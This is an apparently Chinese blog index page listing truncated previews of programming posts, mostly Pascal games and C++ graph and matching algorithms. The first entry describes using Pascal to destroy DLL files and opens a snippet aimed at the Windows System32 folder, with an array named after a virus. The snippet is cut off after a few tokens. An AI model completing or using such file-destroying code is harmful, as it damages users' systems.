运用Pascal来破坏DLL文件的一个实例关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。Uses Dos; {调用DOS库}Const Root='C:\Windows\System32\'; {定位文件}var vir:array [1..6] of s...
分类：
其他好文 时间：
2014-07-16 19:34:45
阅读次数：
199
1 #include 2 #include 3 #include 4 #include 5 #include 6 7 typedef void (__stdcall *P_WALK_DIR_CALLBACK)(const std::string &In_strFilePath); 8 ...
分类：
编程语言 时间：
2014-07-16 19:31:47
阅读次数：
256
一个双人的游戏 Pascal源码附上只要俩人不脑残，一下午玩不完。。。又是控制台游戏中的一朵奇葩。Free Pascal 射击游戏Program shooting_game;uses crt;const cz:array[1..4,1..2] of -1..1=((0,1),(1,0),(0,-1)...
分类：
其他好文 时间：
2014-07-14 10:19:56
阅读次数：
322
用二分法求在（a,b)上单调的函数近似值第八行的表达式可更改，第三行的kexi决定的精度，小数值计算可将第五行的extended更为real或doublePROGRAM EQUANTION (input,output);CONST kexi=0.0000001;VAR a,b,c:extended;...
分类：
其他好文 时间：
2014-07-14 10:17:21
阅读次数：
157
一段未完成的Pascal贪吃蛇说这段代码未完成其实是没有源代码格式化，ＦＰ中一行最多只有２５５字符宽。uses crt;const screenwidth=50;screenheight=24; wallchar='#'; snakechar='*'; ; type point=record x,y...
分类：
其他好文 时间：
2014-07-13 12:34:00
阅读次数：
348
点击打开链接
bfs,需要自己构图
#include
#include
#include
#include
#include
using namespace std;
const int maxn = 100005;
int dep[ maxn ];
int vis[ maxn ];
int pre[ maxn ];
vectormapp[ maxn ];
void Bfs( int...
分类：
其他好文 时间：
2014-07-12 17:20:26
阅读次数：
139
1 #include 2 #define N 65 3 using namespace std; 4 5 const long long INF = 1LL>_;12 while(_--)13 {14 int n,i,j,k;15 cin>>n;...
分类：
其他好文 时间：
2014-07-12 15:03:45
阅读次数：
198
就是本来就给出了一个匹配，然后让你求一个权值最大的匹配，并且和初始匹配变动最小。#include #include #include using namespace std;const int N=400;const int MAXE=20000000;const int inf=10&&d[u]+...
分类：
其他好文 时间：
2014-07-12 14:47:39
阅读次数：
212
#include#include#include#include#includeusing namespace std;const int maxn = 105;const int INF = (1t){ slack[y]=t; } } ...
分类：
其他好文 时间：
2014-07-12 14:37:16
阅读次数：
243
很常见的想法了= =#include #include #include using namespace std;const int N=400;const int MAXE=200000;const int inf=10&&d[u]+edge[j].w=0) printf("Oh, I lose ...
分类：
其他好文 时间：
2014-07-12 14:33:52
阅读次数：
167
